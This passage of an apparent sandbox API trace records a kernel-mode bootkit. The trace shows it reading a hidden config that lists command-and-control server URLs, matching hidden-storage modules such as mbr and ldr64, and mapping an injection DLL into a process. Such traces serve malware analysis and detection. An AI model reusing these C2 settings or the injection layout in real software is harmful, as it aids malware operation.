_SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0116.729] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0116.729] strncpy (in: _Dest=0xfffffa80081efde4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0116.729] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0116.729] ExFreePoolWithTag (P=0xfffff8a001a8e8b0, Tag=0x0) [0116.729] ZwClose (Handle=0xffffffff800006b8) returned 0x0 [0116.729] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.729] KeEnterCriticalRegion () [0116.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.729] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80018ab040 [0116.729] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80081ef470, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0116.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.729] KeLeaveCriticalRegion () [0116.729] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.729] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.729] KeEnterCriticalRegion () [0116.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.729] ExFreePoolWithTag (P=0xfffffa80039d7600, Tag=0x0) [0116.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.729] KeLeaveCriticalRegion () [0116.729] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.729] KeStackAttachProcess (in: PROCESS=0xfffffa8003b29b30, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa8003b29b30, ApcState=0xfffff88002f8fa58) [0116.729] _snwprintf (in: _Dest=0xfffffa80081efbdc, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0116.729] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0116.729] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff800006b8, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0116.729] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0116.729] KeEnterCriticalRegion () [0116.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.729] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0116.729] IdePortDispatch () returned 0x103 [0116.729] KeWaitForMutexObject () returned 0x0 [0116.730] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0116.730] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0116.730] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0116.730] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0116.730] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0116.730] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0116.730] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0116.730] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0116.730] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0116.730] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0116.730] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0116.730] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800385e510 [0116.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.730] KeLeaveCriticalRegion () [0116.730] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.730] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800006b8 | out: SectionHandle=0xfffff88002f8f9e0*=0x14) returned 0x0 [0116.730] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0116.730] KeEnterCriticalRegion () [0116.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.730] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0116.730] IdePortDispatch () returned 0x103 [0116.730] KeWaitForMutexObject () returned 0x0 [0116.730] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0116.730] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0116.730] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0116.730] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0116.730] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0116.730] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0116.731] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0116.731] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0116.731] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0116.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.731] KeLeaveCriticalRegion () [0116.731] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.731] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800006b4, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0xfffffa8000000002, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0116.731] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0116.731] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0116.731] KeEnterCriticalRegion () [0116.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.731] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352c000 [0116.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.731] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.731] IdePortDispatch () returned 0x103 [0116.731] KeWaitForMutexObject () returned 0x0 [0116.731] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0116.731] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0116.731] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0116.731] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0116.731] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0116.731] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0116.731] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0116.731] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0116.731] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0116.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.731] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.731] IdePortDispatch () returned 0x103 [0116.732] KeWaitForMutexObject () returned 0x0 [0116.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.732] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.732] IdePortDispatch () returned 0x103 [0116.732] KeWaitForMutexObject () returned 0x0 [0116.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.732] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.732] IdePortDispatch () returned 0x103 [0116.732] KeWaitForMutexObject () returned 0x0 [0116.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.732] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.732] IdePortDispatch () returned 0x103 [0116.732] KeWaitForMutexObject () returned 0x0 [0116.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.733] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.733] IdePortDispatch () returned 0x103 [0116.733] KeWaitForMutexObject () returned 0x0 [0116.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.733] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.733] IdePortDispatch () returned 0x103 [0116.733] KeWaitForMutexObject () returned 0x0 [0116.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.733] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.733] IdePortDispatch () returned 0x103 [0116.734] KeWaitForMutexObject () returned 0x0 [0116.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.734] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.734] IdePortDispatch () returned 0x103 [0116.734] KeWaitForMutexObject () returned 0x0 [0116.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.734] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.734] IdePortDispatch () returned 0x103 [0116.734] KeWaitForMutexObject () returned 0x0 [0116.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.734] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.734] IdePortDispatch () returned 0x103 [0116.734] KeWaitForMutexObject () returned 0x0 [0116.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.735] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.735] IdePortDispatch () returned 0x103 [0116.735] KeWaitForMutexObject () returned 0x0 [0116.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.735] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.735] IdePortDispatch () returned 0x103 [0116.735] KeWaitForMutexObject () returned 0x0 [0116.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.735] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.735] IdePortDispatch () returned 0x103 [0116.735] KeWaitForMutexObject () returned 0x0 [0116.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.735] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.736] IdePortDispatch () returned 0x103 [0116.736] KeWaitForMutexObject () returned 0x0 [0116.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.736] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.736] IdePortDispatch () returned 0x103 [0116.736] KeWaitForMutexObject () returned 0x0 [0116.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.736] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.736] IdePortDispatch () returned 0x103 [0116.736] KeWaitForMutexObject () returned 0x0 [0116.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.736] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.736] IdePortDispatch () returned 0x103 [0116.737] KeWaitForMutexObject () returned 0x0 [0116.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.737] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.737] IdePortDispatch () returned 0x103 [0116.737] KeWaitForMutexObject () returned 0x0 [0116.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.737] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.737] IdePortDispatch () returned 0x103 [0116.737] KeWaitForMutexObject () returned 0x0 [0116.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.737] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.738] IdePortDispatch () returned 0x103 [0116.738] KeWaitForMutexObject () returned 0x0 [0116.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.738] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.738] IdePortDispatch () returned 0x103 [0116.738] KeWaitForMutexObject () returned 0x0 [0116.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.738] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.738] IdePortDispatch () returned 0x103 [0116.738] KeWaitForMutexObject () returned 0x0 [0116.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.739] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.739] IdePortDispatch () returned 0x103 [0116.739] KeWaitForMutexObject () returned 0x0 [0116.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.739] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0116.739] IdePortDispatch () returned 0x103 [0116.739] KeWaitForMutexObject () returned 0x0 [0116.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, 